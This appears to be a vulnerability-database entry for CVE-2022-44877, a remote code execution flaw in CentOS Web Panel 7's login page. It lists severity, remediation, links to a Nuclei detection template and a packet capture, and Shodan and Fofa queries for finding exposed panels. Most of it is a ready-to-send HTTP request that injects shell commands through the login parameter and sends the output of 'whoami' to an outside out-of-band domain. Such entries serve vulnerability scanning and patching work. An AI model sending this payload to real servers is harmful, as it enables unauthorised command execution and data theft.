| Title | CentOS Web Panel 7 <0.9.8.1147 - Remote Code Execution |
|---|---|
| Author | For3stCo1d |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. |
| Remediation | Upgrade to CentOS Web Panel version 0.9.8.1147 or later to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94457 |
| CVE ID | CVE-2022-44877 |
| CWE ID | CWE-78 |
| Shodan Query | http.title:"Login | Control WebPanel"http.title:"login | control webpanel" |
| Fofa Query | title="login | control webpanel" |
| Tags | cve cve2022 packetstorm centos rce kev control-webpanel vkev vuln |
CentOS Web Panel 7 before 0.9.8.1147 is susceptible to remote code execution via entering shell characters in the /login/index.php component. This can allow an attacker to execute arbitrary system commands via crafted HTTP requests and potentially execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
POST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}`whoami`.d5jmv89le0o4h55gvo50qjckg3ji9zb9e.oast.pro) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15
Connection: close
Content-Length: 40
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
username=root&password=toor&commit=Login
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-44877.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-44877.pcap
N/AN/A